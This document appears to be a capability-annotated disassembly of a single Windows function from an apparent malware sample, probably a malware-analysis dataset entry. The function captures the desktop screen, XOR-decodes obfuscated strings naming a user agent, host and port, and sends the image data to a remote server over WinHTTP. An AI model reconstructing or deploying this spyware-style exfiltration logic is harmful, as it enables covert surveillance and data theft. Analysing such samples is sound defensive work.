Function at 0x1400b80d0
Capabilities:
Capture screenshot
Check http status code
Encode data using xor
Initialize winhttp library
Prepare http request
Read http header
Receive http response
Set http header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x218]
sub rsp, 0x318
xor ebx, ebx
mov eax, 1
mov dword [rbp + 0x190], eax
mov qword [rbp + 0x198], rbx
mov qword [rbp + 0x1a0], rbx
xor r8d, r8d
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x168]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov r13, rax
mov qword [rbp + 0x270], rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdi, rax
mov qword [rbp + 0x278], rax
lea edx, [rbx + 3]
mov rcx, rax
call qword [sym.imp.GDI32.dll_SetStretchBltMode]
lea ecx, [rbx + 0x4c]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r15d, eax
lea ecx, [rbx + 0x4d]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
lea ecx, [rbx + 0x4e]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r14d, eax
lea ecx, [rbx + 0x4f]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r12d, eax
mov r8d, eax
mov edx, r14d
mov rcx, r13
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r13, rax
mov dword [rbp + 0xb0], 0x28
mov dword [rbp + 0xb4], r14d
mov ecx, r12d
neg ecx
mov dword [rbp + 0xb8], ecx
mov qword [rbp + 0xbc], 0x200001
mov qword [rbp + 0xc4], rbx
mov qword [rbp + 0xcc], rbx
mov dword [rbp + 0xd4], ebx
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
movzx eax, word [rbp + 0xbe]
imul eax, r14d
add eax, 0x1f
cdq
and edx, 0x1f
add edx, eax
sar edx, 5
imul edx, r12d
shl edx, 2
lea ecx, [rbx + 0x42]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], r15d
mov r15, qword [rbp + 0x270]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r12d
mov r9d, r14d
xor r8d, r8d
xor edx, edx
mov rsi, qword [rbp + 0x278]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x30], ebx
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
mov r9d, r12d
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.USER32.dll_ReleaseDC]
mov qword [rbp + 0x150], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], rbx
mov dword [rbp + 0x270], 0xdaccd1
mov byte [rbp + 0x274], 1
mov ecx, ebx
nop dword [rax]
lea eax, [rcx - 0x45]
xor byte [rbp + rcx + 0x270], al
inc rcx
cmp rcx, 3
jb 0x1400b82d0
mov byte [rbp + 0x274], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b8], xmm1
lea rax, [rbp + 0x270]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400b8310
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1a8]
call fcn.140061160
nop
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x170]
call fcn.14005e540
mov r8, rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x150]
call fcn.1400b7970
test al, al
je 0x1400b8e64
mov dword [rbp - 8], 0xef9deffd
mov dword [rbp - 4], 0xefd6efe9
mov dword [rbp], 0xef89efae
mov dword [rbp + 4], 0xef97ef96
mov dword [rbp + 8], 0xefe5ef94
mov dword [rbp + 0xc], 0xefbfef83
mov dword [rbp + 0x10], 0xefa4efa9
mov dword [rbp + 0x14], 0xefa7efba
mov dword [rbp + 0x18], 0xefedefa9
mov dword [rbp + 0x1c], 0xefbdef9e
mov dword [rbp + 0x20], 0xefb6efbf
mov dword [rbp + 0x24], 0xefb2efa0
mov dword [rbp + 0x28], 0xeffaefb9
mov dword [rbp + 0x2c], 0xeff9efe7
mov dword [rbp + 0x30], 0xefe8
mov byte [rbp + 0x34], 1
mov rcx, rbx
mov r15d, 0x1044
nop word [rax + rax]
movzx eax, cx
sub ax, r15w
xor word [rbp + rcx*2 - 8], ax
inc rcx
cmp rcx, 0x1d
jb 0x1400b83e0
mov byte [rbp + 0x34], 0
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
mov qword [rbp + 0x160], rax
test rax, rax
je 0x1400b8e72
mov dword [rbp - 0x28], 0xef8eef85
mov dword [rbp - 0x24], 0xef8eef90
mov dword [rbp - 0x20], 0xeff4eff8
mov dword [rbp - 0x1c], 0xeff2efec
mov dword [rbp - 0x18], 0xeff3eff2
mov dword [rbp - 0x14], 0xeff6efe8
mov dword [rbp - 0x10], 0xeffceffc
mov word [rbp - 0xc], bx
mov byte [rbp - 0xa], 1
mov rcx, rbx
nop
movzx eax, cx
sub ax, r15w
xor word [rbp + rcx*2 - 0x28], ax
inc rcx
cmp rcx, 0xe
jb 0x1400b8460
mov byte [rbp - 0xa], 0
mov r8d, 0x1388
xor r9d, r9d
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
mov qword [rbp + 0x158], rax
test rax, rax
jne 0x1400b84ac
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400b8e72
mov dword [rbp - 0x60], 0xefc8ef93
mov dword [rbp - 0x5c], 0xefd3efce
mov dword [rbp - 0x58], 0xefa0efaf
mov dword [rbp - 0x54], 0xefa6
mov byte [rbp - 0x50], 1
mov rcx, rbx
nop
movzx eax, cx
sub ax, r15w
xor word [rbp + rcx*2 - 0x60], ax
inc rcx
cmp rcx, 7
jb 0x1400b84d0
mov byte [rbp - 0x50], 0
mov dword [rsp + 0x70], 0xeff2efec
mov dword [rsp + 0x74], 0xefebefed
mov word [rsp + 0x78], bx
mov byte [rsp + 0x7a], 1
mov rcx, rbx
nop word [rax + rax]
movzx eax, cx
sub ax, r15w
xor word [rsp + rcx*2 + 0x70], ax
inc rcx
cmp rcx, 4
jb 0x1400b8510
mov byte [rsp + 0x7a], 0
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r15, rax
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x1400b8571
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400b8e72
mov ecx, 0x4e
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov ecx, 0x4f
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
mov ecx, 4
call fcn.1400ba130
mov r12, rax
mov qword [rbp + 0x1c8], rax
lea r13, [rax + 4]
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1d0], r13
mov word [rax], si
mov word [rax + 2], di
mov r9, qword [rbp + 0x260]
mov rdx, qword [r9 + 0x10]
mov qword [rbp + 0x270], rdx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdx
cmp rax, 1
jb 0x1400b8f10
cmp qword [r9 + 0x18], 0xf
jbe 0x1400b85f5
mov r9, qword [r9]
mov qword [rbp + 0x260], r9
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe8], xmm1
lea rax, [rdx + 1]
mov qword [rbp + 0x278], rax
mov edi, 0xf
lea rsi, [rbp + 0xd8]
cmp rax, rdi
jbe 0x1400b86d1
mov rdi, rax
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400b867b
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400ba130
test rax, rax
je 0x1400b8f16
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x270]
mov r9, qword [rbp + 0x260]
jmp 0x1400b86ca
mov ecx, socket
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400b86a3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400b8f0a
jmp 0x1400b8647
test rcx, rcx
je 0x1400b86c7
call fcn.1400ba130
mov rsi, rax
mov rax, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x270]
mov r9, qword [rbp + 0x260]
jmp 0x1400b86ca
mov rsi, rbx
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], rdi
mov r8, rdx
mov rdx, r9
mov rcx, rsi
call fcn.1400f18a0
mov rax, qword [rbp + 0x270]
mov byte [rax + rsi], 0xa
mov byte [rsi + rax + 1], 0
mov rax, qword [rbp + 0x268]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400b8712
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.14005ede0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x1401250b8]
lea rcx, [rbp + 0x110]
call fcn.14005ede0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1400b87f0
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b87eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8f1c
call fcn.1400b9d58
movdqa xmm0, xmmword [0x14013de50]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x1400b8848
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b8843
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8f22
call fcn.1400b9d58
movdqa xmm0, xmmword [0x14013de50]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
mov r8, r13
mov rdx, r12
lea rcx, [rbp - 0x48]
call fcn.140060dd0
nop
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x38]
lea rcx, [rbp + 0x90]
call fcn.14005ede0
nop
lea rcx, [rbp - 0x48]
call fcn.14005ed40
mov r8, qword [rbp + 0x100]
mov rdx, qword [rbp + 0xf8]
lea rcx, [rbp - 0x48]
call fcn.140060dd0
nop
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x38]
lea rcx, [rbp + 0x90]
call fcn.14005ede0
nop
lea rcx, [rbp - 0x48]
call fcn.14005ed40
mov dword [rbp + 0x36], 0xefd2efff
mov dword [rbp + 0x3a], 0xefcbefd0
mov dword [rbp + 0x3e], 0xefafefa5
mov dword [rbp + 0x42], 0xefeeefb6
mov dword [rbp + 0x46], 0xefbcef90
mov dword [rbp + 0x4a], 0xefa2efb6
mov dword [rbp + 0x4e], 0xefe9eff2
mov dword [rbp + 0x52], 0xefbbefab
mov dword [rbp + 0x56], 0xefa1efbc
mov dword [rbp + 0x5a], 0xefacefa7
mov dword [rbp + 0x5e], 0xefa5efb1
mov dword [rbp + 0x62], 0xefbcefbb
mov dword [rbp + 0x66], 0xeffaefba
mov dword [rbp + 0x6a], 0xefb4efb9
mov dword [rbp + 0x6e], 0xefbcefac
mov dword [rbp + 0x72], 0xeff6efae
mov dword [rbp + 0x76], 0xefa9efaf
mov dword [rbp + 0x7a], 0xefbaefac
mov dword [rbp + 0x7e], 0xef8cef81
mov dword [rbp + 0x82], 0xefe9efef
mov word [rbp + 0x86], bx
mov byte [rbp + 0x88], 1
mov rcx, rbx
mov edi, 0x1044
nop dword [rax]
movzx eax, cx
sub ax, di
xor word [rbp + rcx*2 + 0x36], ax
inc rcx
cmp rcx, 0x28
jb 0x1400b8980
mov byte [rbp + 0x88], 0
lea r9, [rbp + 0x20a]
mov r8, qword [rbp + 0xa0]
movabs r10, 0xcccccccccccccccd
nop dword [rax]
nop word [rax + rax]
sub r9, 2
mov rax, r10
mul r8
shr rdx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8, rdx
test rdx, rdx
jne 0x1400b89c0
lea r8, [rbp + 0x20a]
mov rdx, r9
lea rcx, [rbp + 0x130]
call fcn.1400b95f0
nop
mov dword [rsp + 0x7c], 0xefd2efff
mov dword [rbp - 0x80], 0xefcbefd0
mov dword [rbp - 0x7c], 0xefafefa5
mov dword [rbp - 0x78], 0xefeeefb6
mov dword [rbp - 0x74], 0xefa0ef88
mov dword [rbp - 0x70], 0xefa0efa8
mov dword [rbp - 0x6c], 0xefa1efbc
mov dword [rbp - 0x68], 0xefebeff0
mov word [rbp - 0x64], bx
mov byte [rbp - 0x62], 1
mov rcx, rbx
nop dword [rax + rax]
movzx eax, cx
sub ax, di
xor word [rsp + rcx*2 + 0x7c], ax
inc rcx
cmp rcx, 0x10
jb 0x1400b8a50
mov byte [rbp - 0x62], 0
lea rax, [rsp + 0x7c]
nop dword [rax]
inc r14
cmp word [rax + r14*2], 0
jne 0x1400b8a70
mov r8, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x148]
mov rax, rcx
sub rax, r8
cmp r14, rax
ja 0x1400b8b49
lea rax, [r8 + r14]
mov qword [rbp + 0x140], rax
lea rsi, [rbp + 0x130]
cmp rcx, 7
cmova rsi, qword [rbp + 0x130]
lea rax, [rsp + 0x7c]
lea rax, [rax + r14*2]
cmp rax, rsi
jbe 0x1400b8af1
lea rax, [rsi + r8*2]
lea rcx, [rsp + 0x7c]
cmp rcx, rax
ja 0x1400b8af1
lea rax, [rsp + 0x7c]
cmp rsi, rax
ja 0x1400b8ae1
mov r15, rbx
jmp 0x1400b8af4
lea rax, [rsp + 0x7c]
mov r15, rsi
sub r15, rax
sar r15, 1
jmp 0x1400b8af4
mov r15, r14
lea rcx, [rsi + r14*2]
lea r8, [r8*2 + 2]
mov rdx, rsi
call fcn.1400f18a0
lea rdi, [r15 + r15]
mov r8, rdi
lea rdx, [rsp + 0x7c]
mov rcx, rsi
call fcn.1400f18a0
mov r8, r14
sub r8, r15
lea rax, [r15 + r14]
lea rdx, [rsp + 0x7c]
lea rdx, [rdx + rax*2]
lea rcx, [rsi + rdi]
add r8, r8
call fcn.1400f18a0
lea rax, [rbp + 0x130]
mov r15, qword [rsp + 0x60]
jmp 0x1400b8b67
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
mov rdx, r14
lea rcx, [rbp + 0x130]
call fcn.1400b9750
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r8, [0x14013db04]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0xb0]
call fcn.1400b9350
nop
lea r8, [rbp + 0x36]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.1400b9350
nop
lea rcx, [rbp + 0xb0]
call fcn.14005e470
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x1400b8c0d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b8c08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8f28
call fcn.1400b9d58
movdqa xmm0, xmmword [0x14013de40]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], bx
lea rcx, [rbp + 0x130]
call fcn.14005e470
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r9d, 0x20000000
mov r8d, 0xffffffff
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
lea r9, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova r9, qword [rbp + 0x90]
mov qword [rsp + 0x30], rbx
mov rax, qword [rbp + 0xa0]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400b8d7c
xor edx, edx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400b8d7c
mov dword [rbp + 0x270], ebx
mov dword [rbp + 0x278], 4
mov qword [rsp + 0x28], rbx
lea rax, [rbp + 0x278]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x270]
xor r8d, r8d
mov edx, 0x20000013
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
cmp dword [rbp + 0x270], 0xc8
je 0x1400b8d49
mov dword [rsp + 0x60], 0x78646771
mov dword [rsp + 0x64], 0xd09196a
mov dword [rsp + 0x68], 0x1f1e070e
mov word [rsp + 0x6c], 0x100
nop
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x60], al
inc rbx
cmp rbx, 0xc
jb 0x1400b8d10
mov byte [rsp + 0x6d], 0
lea rdx, [rsp + 0x60]
lea rcx, [0x140242520]
call fcn.14006cbd0
mov edx, dword [rbp + 0x270]
mov rcx, rax
call fcn.1400b8f40
jmp 0x1400b8dc6
mov dword [rsp + 0x60], 0x93f7f4
mov byte [rsp + 0x64], 1
nop word [rax + rax]
lea eax, [rbx - 0x45]
xor byte [rsp + rbx + 0x60], al
inc rbx
cmp rbx, 3
jb 0x1400b8d60
mov byte [rsp + 0x64], 0
lea rdx, [rsp + 0x60]
jmp 0x1400b8dba
mov dword [rsp + 0x60], 0x78646771
mov dword [rsp + 0x64], 0xe09196a
mov word [rsp + 0x68], 0xd
mov byte [rsp + 0x6a], 1
nop dword [rax + rax]
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x60], al
inc rbx
cmp rbx, 9
jb 0x1400b8da0
mov byte [rsp + 0x6a], 0
lea rdx, [rsp + 0x60]
lea rcx, [0x140242520]
call fcn.14006cbd0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rbx, rax
mov dl, 0xa
add rcx, rax
call fcn.14005f2f0
movzx edx, al
mov rcx, rbx
call fcn.140061a10
mov rcx, rbx
call fcn.1400618e0
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rbp + 0x170]
call fcn.14005e470
nop
lea rcx, [rbp + 0x90]
call fcn.14005ed40
nop
test r12, r12
je 0x1400b8e64
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x1400b8e59
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8f2e
mov rdx, r13
mov rcx, r12
call fcn.1400b9d58
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
nop
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x1400b8eb4
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b8eae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8f34
call fcn.1400b9d58
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x1400b8ef0
mov rdx, qword [rbp + 0x108]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b8eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8f04
call fcn.1400b9d58
add rsp, 0x318
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400d3378
nop
call fcn.14003e3a0
nop
call fcn.140059270
int3
call fcn.1400d3378
nop
call fcn.1400d3378
nop
call fcn.1400d3378
nop
call fcn.1400d3378
nop
call fcn.1400d3378
nop
call fcn.1400d3378
int3